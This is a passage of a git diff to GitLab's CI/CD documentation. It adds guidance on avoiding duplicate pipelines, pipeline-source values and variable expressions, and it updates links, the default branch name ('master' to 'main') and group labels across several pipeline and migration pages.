+other pipelines, including **both** push (branch) and merge request pipelines. With
+this configuration, every push to an open merge request's source branch
+causes duplicated pipelines.
+
+To avoid duplicate pipelines, you can:
+
+- Use [`workflow`](../yaml/README.md#workflow) to specify which types of pipelines
+ can run.
+- Rewrite the rules to run the job only in very specific cases,
+ and avoid a final `when:` rule:
+
+ ```yaml
+ job:
+ script: echo "This job does NOT create double pipelines!"
+ rules:
+ - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"'
+ ```
+
+You can also avoid duplicate pipelines by changing the job rules to avoid either push (branch)
+pipelines or merge request pipelines. However, if you use a `- when: always` rule without
+`workflow: rules`, GitLab still displays a [pipeline warning](../troubleshooting.md#pipeline-warnings).
+
+For example, the following does not trigger double pipelines, but is not recommended
+without `workflow: rules`:
+
+```yaml
+job:
+ script: echo "This job does NOT create double pipelines!"
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "push"'
+ when: never
+ - when: always
+```
+
+You should not include both push and merge request pipelines in the same job without
+[`workflow:rules` that prevent duplicate pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines):
+
+```yaml
+job:
+ script: echo "This job creates double pipelines!"
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "push"'
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+```
+
+Also, do not mix `only/except` jobs with `rules` jobs in the same pipeline.
+It may not cause YAML errors, but the different default behaviors of `only/except`
+and `rules` can cause issues that are difficult to troubleshoot:
+
+```yaml
+job-with-no-rules:
+ script: echo "This job runs in branch pipelines."
+
+job-with-rules:
+ script: echo "This job runs in merge request pipelines."
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+```
+
+For every change pushed to the branch, duplicate pipelines run. One
+branch pipeline runs a single job (`job-with-no-rules`), and one merge request pipeline
+runs the other job (`job-with-rules`). Jobs with no rules default
+to [`except: merge_requests`](../yaml/README.md#only--except), so `job-with-no-rules`
+runs in all cases except merge requests.
+
+### Common `if` clauses for `rules`
+
+For behavior similar to the [`only`/`except` keywords](../yaml/README.md#only--except), you can
+check the value of the `$CI_PIPELINE_SOURCE` variable:
+
+| Value | Description |
+|-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). |
+| `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
+| `external` | When you use CI services other than GitLab. |
+| `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). |
+| `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). |
+| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. |
+| `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](../yaml/README.md#trigger) keyword. |
+| `push` | For pipelines triggered by a `git push` event, including for branches and tags. |
+| `schedule` | For [scheduled pipelines](../pipelines/schedules.md). |
+| `trigger` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). |
+| `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
+| `webide` | For pipelines created by using the [WebIDE](../../user/project/web_ide/index.md). |
+
+The following example runs the job as a manual job in scheduled pipelines or in push
+pipelines (to branches or tags), with `when: on_success` (default). It does not
+add the job to any other pipeline type.
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "schedule"'
+ when: manual
+ allow_failure: true
+ - if: '$CI_PIPELINE_SOURCE == "push"'
+```
+
+The following example runs the job as a `when: on_success` job in [merge request pipelines](../merge_request_pipelines/index.md)
+and scheduled pipelines. It does not run in any other pipeline type.
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+ - if: '$CI_PIPELINE_SOURCE == "schedule"'
+```
+
+Other commonly used variables for `if` clauses:
+
+- `if: $CI_COMMIT_TAG`: If changes are pushed for a tag.
+- `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch.
+- `if: '$CI_COMMIT_BRANCH == "main"'`: If changes are pushed to `main`.
+- `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default
+ branch. Use when you want to have the same configuration in multiple
+ projects with different default branches.
+- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression.
+- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables)
+ `CUSTOM_VARIABLE` does **not** match a regular expression.
+- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is
+ exactly `value1`.
+
+### Variables in `rules:changes`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7.
+
+You can use CI/CD variables in `rules:changes` expressions to determine when
+to add jobs to a pipeline:
+
+```yaml
+docker build:
+ variables:
+ DOCKERFILES_DIR: 'path/to/files/'
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ rules:
+ - changes:
+ - $DOCKERFILES_DIR/*
+```
+
+You can use the `$` character for both variables and paths. For example, if the
+`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the
+`$` is interpreted as being part of a path.
+
## Specify when jobs run with `only` and `except`
You can use [`only`](../yaml/README.md#only--except) and [`except`](../yaml/README.md#only--except)
@@ -73,7 +344,7 @@ end-to-end:
- $CI_COMMIT_MESSAGE =~ /skip-end-to-end-tests/
```
-You can use [parentheses](../variables/README.md#parentheses) with `&&` and `||`
+You can use [parentheses](#group-variable-expressions-together-with-parentheses) with `&&` and `||`
to build more complicated variable expressions:
```yaml
@@ -82,9 +353,12 @@ job1:
- echo This rule uses parentheses.
only:
variables:
- - ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE
+ - ($CI_COMMIT_BRANCH == "main" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE
```
+When multiple entries are specified in `only:variables`, the job runs when at least one of them evaluates to `true`.
+You can use `&&` in a single entry when multiple conditions must be satisfied at the same time.
+
### `only:changes` / `except:changes` examples
You can skip a job if a change is detected in any file with a
@@ -315,3 +589,114 @@ this feature flag again:
```ruby
Feature.enable(:allow_unsafe_ruby_regexp)
```
+
+## CI/CD variable expressions
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyvariables--exceptvariables)
+> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
+
+Use variable expressions to control which jobs are created in a pipeline after changes
+are pushed to GitLab. You can use variable expressions with:
+
+- [`rules:if`](../yaml/README.md#rules).
+- [`only:variables` and `except:variables`](../yaml/README.md#onlyvariables--exceptvariables).
+
+For example, with `rules:if`:
+
+```yaml
+job1:
+ variables:
+ VAR1: "variable1"
+ script:
+ - echo "Test variable comparison
+ rules:
+ - if: $VAR1 == "variable1"
+```
+
+### Compare a variable to a string
+
+You can use the equality operators `==` and `!=` to compare a variable with a
+string. Both single quotes and double quotes are valid. The order doesn't matter,
+so the variable can be first, or the string can be first. For example:
+
+- `if: $VARIABLE == "some value"`
+- `if: $VARIABLE != "some value"`
+- `if: "some value" == $VARIABLE`
+
+### Compare two variables
+
+You can compare the values of two variables. For example:
+
+- `if: $VARIABLE_1 == $VARIABLE_2`
+- `if: $VARIABLE_1 != $VARIABLE_2`
+
+### Check if a variable is undefined
+
+You can compare a variable to the `null` keyword to see if it is defined. For example:
+
+- `if: $VARIABLE == null`
+- `if: $VARIABLE != null`
+
+### Check if a variable is empty
+
+You can check if a variable is defined but empty. For example:
+
+- `if: $VARIABLE == ""`
+- `if: $VARIABLE != ""`
+
+### Check if a variable exists
+
+You can check for the existence of a variable by using just the variable name in
+the expression. The variable must not be empty. For example:
+
+- `if: $VARIABLE`
+
+### Compare a variable to a regex pattern
+
+You can do regex pattern matching on variable values with the `=~` and `!~` operators.
+Variable pattern matching with regular expressions uses the
+[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax).
+
+Expressions evaluate as `true` if:
+
+- Matches are found when using `=~`.
+- Matches are *not* found when using `!~`.
+
+For example:
+
+- `$VARIABLE =~ /^content.*/`
+- `$VARIABLE_1 !~ /^content.*/`
+
+Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a
+pattern case-insensitive. For example: `/pattern/i`.
+
+### Join variable expressions together with `&&` or `||`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0
+
+You can join multiple expressions using `&&` (and) or `||` (or), for example:
+
+- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"`
+- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3`
+- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3`
+
+The precedence of operators follows the [Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html),
+so `&&` is evaluated before `||`.
+
+#### Group variable expressions together with parentheses
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
+
+You can use parentheses to group expressions together. Parentheses take precedence over
+`&&` and `||`, so expressions enclosed in parentheses are evaluated first, and the
+result is used for the rest of the expression.
+
+You can nest parentheses to create complex conditions, and the inner-most expressions
+in parentheses are evaluated first.
+
+For example:
+
+- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)`
+- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
+- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`
diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md
index aff18b0889f..62e9749d959 100644
--- a/doc/ci/large_repositories/index.md
+++ b/doc/ci/large_repositories/index.md
@@ -56,7 +56,7 @@ test:
> Introduced in GitLab Runner 8.9.
-By default, GitLab is configured to use the [`fetch` Git strategy](../runners/README.md#git-strategy),
+By default, GitLab is configured to use the [`fetch` Git strategy](../runners/configure_runners.md#git-strategy),
which is recommended for large repositories.
This strategy reduces the amount of data to transfer and
does not really impact the operations that you might do on a repository from CI.
@@ -65,7 +65,7 @@ does not really impact the operations that you might do on a repository from CI.
> Introduced in GitLab Runner 11.10.
-[`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) allows you to
+[`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) allows you to
control where you clone your sources. This can have implications if you
heavily use big repositories with fork workflow.
@@ -77,7 +77,7 @@ In such cases, ideally you want to make the GitLab Runner executor be used only
for the given project and not shared across different projects to make this
process more efficient.
-The [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) has to be
+The [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) has to be
within the `$CI_BUILDS_DIR`. Currently, it is impossible to pick any path
from disk.
@@ -85,12 +85,12 @@ from disk.
> Introduced in GitLab Runner 11.10.
-[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) allows you to control
+[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) allows you to control
whether or not you require the `git clean` command to be executed for each CI
job. By default, GitLab ensures that you have your worktree on the given SHA,
and that your repository is clean.
-[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) is disabled when set
+[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) is disabled when set
to `none`. On very big repositories, this might be desired because `git
clean` is disk I/O intensive. Controlling that with `GIT_CLEAN_FLAGS: -ffdx
-e .build/` (for example) allows you to control and disable removal of some
@@ -99,7 +99,7 @@ the incremental builds. This has the biggest effect if you re-use existing
machines and have an existing worktree that you can re-use for builds.
For exact parameters accepted by
-[`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags), see the documentation
+[`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags), see the documentation
for [`git clean`](https://git-scm.com/docs/git-clean). The available parameters
are dependent on Git version.
@@ -107,7 +107,7 @@ are dependent on Git version.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1.
-[`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags) allows you
+[`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) allows you
to modify `git fetch` behavior by passing extra flags.
For example, if your project contains a large number of tags that your CI jobs don't rely on,
@@ -119,7 +119,7 @@ tags, `--no-tags` can [make a big difference in some
cases](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/746).
If your CI builds do not depend on Git tags it is worth trying.
-See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/README.md#git-fetch-extra-flags)
+See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/configure_runners.md#git-fetch-extra-flags)
for more information.
## Fork-based workflow
diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md
index a55804432ca..1866b40093a 100644
--- a/doc/ci/merge_request_pipelines/index.md
+++ b/doc/ci/merge_request_pipelines/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, index
last_update: 2019-07-03
@@ -70,7 +70,7 @@ build:
stage: build
script: ./build
only:
- - master
+ - main
test:
stage: test
@@ -82,7 +82,7 @@ deploy:
stage: deploy
script: ./deploy
only:
- - master
+ - main
```
#### Excluding certain jobs
@@ -100,10 +100,10 @@ Consider the following pipeline, with jobs `A`, `B`, and `C`. Imagine you want:
To achieve this, you can configure your `.gitlab-ci.yml` file as follows:
-``` yaml
+```yaml
.only-default: &only-default
only:
- - master
+ - main
- merge_requests
- tags
@@ -219,15 +219,15 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix.
### Two pipelines created when pushing to a merge request
If you are experiencing duplicated pipelines when using `rules`, take a look at
-the [important differences between `rules` and `only`/`except`](../yaml/README.md#avoid-duplicate-pipelines),
+the [important differences between `rules` and `only`/`except`](../jobs/job_control.md#avoid-duplicate-pipelines),
which helps you get your starting configuration correct.
If you are seeing two pipelines when using `only/except`, please see the caveats
related to using `only/except` above (or, consider moving to `rules`).
-It is not possible to run a job for branch pipelines first, then only for merge request
-pipelines after the merge request is created (skipping the duplicate branch pipeline). See
-the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) for more details.
+In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) and later,
+you can add `workflow:rules` to [switch from branch pipelines to merge request pipelines](../yaml/README.md#switch-between-branch-pipelines-and-merge-request-pipelines)
+after a merge request is open on the branch.
### Two pipelines created when pushing an invalid CI configuration file
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
index 72603ed94c0..552c007c70d 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
last_update: 2019-07-03
@@ -45,7 +45,7 @@ pipeline for merged results.
To enable pipelines for merge results:
-- You must have maintainer [permissions](../../../user/permissions.md).
+- You must have the [Maintainer role](../../../user/permissions.md).
- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
- You must not be using
[fast forward merges](../../../user/project/merge_requests/fast_forward_merge.md) yet.
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
index b8ddc547156..7f237655593 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
last_update: 2019-07-03
@@ -59,8 +59,7 @@ to run. If more merge requests are added to the train, they now include the `A`
changes that are included in the target branch, and the `C` changes that are from
the merge request already in the train.
-Read more about
-[how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
+Read more about [how merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
Watch this video for a demonstration on [how parallel execution
@@ -71,7 +70,7 @@ branch](https://www.youtube.com/watch?v=D4qCqXgZkHQ).
To enable merge trains:
-- You must have maintainer [permissions](../../../../user/permissions.md).
+- You must have the [Maintainer role](../../../../user/permissions.md).
- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later.
- Your repository must be a GitLab repository, not an
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index b6c7bc6653f..eb5ed451778 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -1,12 +1,12 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index, howto
---
-# Migrating from CircleCI
+# Migrating from CircleCI **(FREE)**
If you are currently using CircleCI, you can migrate your CI/CD pipelines to [GitLab CI/CD](../introduction/index.md),
and start making use of all its powerful features. Check out our
@@ -41,7 +41,7 @@ jobs:
Example of the same job definition in GitLab CI/CD:
-``` yaml
+```yaml
job1:
script: "execute-script-for-job1"
```
@@ -209,7 +209,7 @@ jobs:
deploy:
branches:
only:
- - master
+ - main
- /rc-.*/
```
@@ -221,12 +221,12 @@ deploy_prod:
script:
- echo "Deploy to production server"
rules:
- - if: '$CI_COMMIT_BRANCH == "master"'
+ - if: '$CI_COMMIT_BRANCH == "main"'
```
### Caching
-GitLab provides a caching mechanism to speed up build times for your jobs by reusing previously downloaded dependencies. It's important to know the different between [cache and artifacts](../caching/index.md#cache-vs-artifacts) to make the best use of these features.
+GitLab provides a caching mechanism to speed up build times for your jobs by reusing previously downloaded dependencies. It's important to know the different between [cache and artifacts](../caching/index.md#how-cache-is-different-from-artifacts) to make the best use of these features.
CircleCI example of a job using a cache:
@@ -265,7 +265,7 @@ test_async:
## Contexts and variables
-CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index c278160d5ee..812f1caa5d1 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -1,12 +1,12 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index, howto
---
-# Migrating from Jenkins
+# Migrating from Jenkins **(FREE)**
A lot of GitLab users have successfully migrated to GitLab CI/CD from Jenkins. To make this
easier if you're just getting started, we've collected several resources here that you might find useful
@@ -128,16 +128,16 @@ agents you were using.
There are some important differences in the way runners work in comparison to agents:
-- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners).
+- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/runners_scope.md).
They self-select jobs from the scopes you've defined automatically.
-- You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and
+- You can also [use tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and
associate runners with specific jobs. For example, you can use a tag for jobs that
require dedicated, more powerful, or specific hardware.
- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html).
Use autoscaling to provision runners only when needed, and scale down when not needed.
This is similar to ephemeral agents in Jenkins.
-If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners)
+If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/README.md)
to run jobs without provisioning your own runners. We are investigating making them
[available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835)
as well.
@@ -230,7 +230,7 @@ and is meant to be a mapping of concepts there to concepts in GitLab.
The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md)
to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage
of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users).
-We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs
+We also support using [tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs
to different runners (execution agents).
The `agent` section also allows you to define which Docker images should be used for execution, for which we use
@@ -349,12 +349,14 @@ variable entry.
GitLab does support a [`when` keyword](../yaml/README.md#when) which is used to indicate when a job should be
run in case of (or despite) failure, but most of the logic for controlling pipelines can be found in
-our very powerful [`only/except` rules system](../yaml/README.md#only--except)
-(see also our [advanced syntax](../yaml/README.md#only--except)):
+our very powerful [`rules` system](../yaml/README.md#rules):
```yaml
my_job:
- only: [branches]
+ script:
+ - echo
+ rules:
+ - if: $CI_COMMIT_BRANCH
```
## Additional resources
diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md
index c1e552f5a9d..acdbe0455ba 100644
--- a/doc/ci/multi_project_pipelines.md
+++ b/doc/ci/multi_project_pipelines.md
@@ -271,7 +271,7 @@ trigger_job:
### Mirroring status from upstream pipeline
You can mirror the pipeline status from an upstream pipeline to a bridge job by
-using the `needs:pipeline` keyword. The latest pipeline status from master is
+using the `needs:pipeline` keyword. The latest pipeline status from the default branch is
replicated to the bridge job.
Example:
diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md
index 1a0421258fd..82bac7c51d2 100644
--- a/doc/ci/parent_child_pipelines.md
+++ b/doc/ci/parent_child_pipelines.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -38,7 +38,7 @@ set of concurrently running child pipelines, but within the same project:
Child pipelines work well with other GitLab CI/CD features:
-- Use [`only: changes`](yaml/README.md#onlychanges--exceptchanges) to trigger pipelines only when
+- Use [`rules: changes`](yaml/README.md#ruleschanges) to trigger pipelines only when
certain files change. This is useful for monorepos, for example.
- Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal
pipelines, they can have their own behaviors and sequencing in relation to triggers.
diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md
index fa8a4cedf6f..af6b9e5b6b3 100644
--- a/doc/ci/pipelines/index.md
+++ b/doc/ci/pipelines/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/ci/pipelines.html'
type: reference
@@ -147,10 +147,11 @@ The pipeline now executes the jobs as configured.
> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7.
You can use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
-keywords to define [variables](../variables/README.md) that are prefilled when running
-a pipeline manually.
+keywords to define
+[pipeline-level (global) variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file)
+that are prefilled when running a pipeline manually.
-In pipelines triggered manually, the **Run pipelines** page displays all variables
+In pipelines triggered manually, the **Run pipelines** page displays all top-level variables
with a `description` and `value` defined in the `.gitlab-ci.yml` file. The values
can then be modified if needed, which overrides the value for that single pipeline run.
@@ -164,6 +165,8 @@ variables:
description: "The deployment target. Change this variable to 'canary' or 'production' if needed."
```
+You cannot set job-level variables to be pre-filled when you run a pipeline manually.
+
### Run a pipeline by using a URL query string
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24146) in GitLab 12.5.
@@ -226,7 +229,7 @@ This functionality is only available:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24851) in GitLab 12.7.
-Users with [owner permissions](../../user/permissions.md) in a project can delete a pipeline
+Users with the [Owner role](../../user/permissions.md) in a project can delete a pipeline
by clicking on the pipeline in the **CI/CD > Pipelines** to get to the **Pipeline Details**
page, then using the **Delete** button.
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index 76f05f5e1e7..0bb7007e7a9 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -1,12 +1,12 @@
---
stage: Verify
-group: Continuous Integration
+group: Testing
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html'
type: reference, howto
---
-# Job artifacts
+# Job artifacts **(FREE)**
> Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled.
@@ -140,10 +140,10 @@ namespace:
https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/download?job=coverage
```
-To download the file `coverage/index.html` from the same artifacts:
+To download the file `review/index.html` from the same artifacts:
```plaintext
-https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/raw/coverage/index.html?job=coverage
+https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/raw/review/index.html?job=coverage
```
To browse the latest job artifacts:
@@ -155,7 +155,7 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/browse?job=<job
For example:
```plaintext
-https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/browse?job=coverage
+https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/browse?job=coverage
```
To download specific files, including HTML files that
@@ -168,7 +168,7 @@ https://example.com/<namespace>/<project>/-/jobs/artifacts/<ref>/file/<path>?job
For example, when a job `coverage` creates the artifact `htmlcov/index.html`:
```plaintext
-https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/master/file/htmlcov/index.html?job=coverage
+https://gitlab.com/gitlab-org/gitlab/-/jobs/artifacts/main/file/htmlcov/index.html?job=coverage
```
## When job artifacts are deleted
diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md
index 73677dd6986..78031ec1d97 100644
--- a/doc/ci/pipelines/pipeline_architectures.md
+++ b/doc/ci/pipelines/pipeline_architectures.md
@@ -1,11 +1,11 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
-# Pipeline Architecture
+# Pipeline architecture **(FREE)**
Pipelines are the fundamental building blocks for CI/CD in GitLab. This page documents
some of the important concepts related to them.
diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md
index bc770dd3d90..b80a056bbca 100644
--- a/doc/ci/pipelines/pipeline_artifacts.md
+++ b/doc/ci/pipelines/pipeline_artifacts.md
@@ -1,11 +1,11 @@
---
stage: Verify
-group: Continuous Integration
+group: Testing
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
-# Pipeline artifacts
+# Pipeline artifacts **(FREE)**
